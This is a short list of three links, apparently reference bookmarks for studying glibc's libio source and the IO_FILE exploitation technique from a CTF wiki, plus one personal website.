https://elixir.bootlin.com/glibc/glibc-2.35/source/libio

https://ciphersaw.me/ctf-wiki/pwn/linux/io_file/introduction/

https://www.cubeyond.net/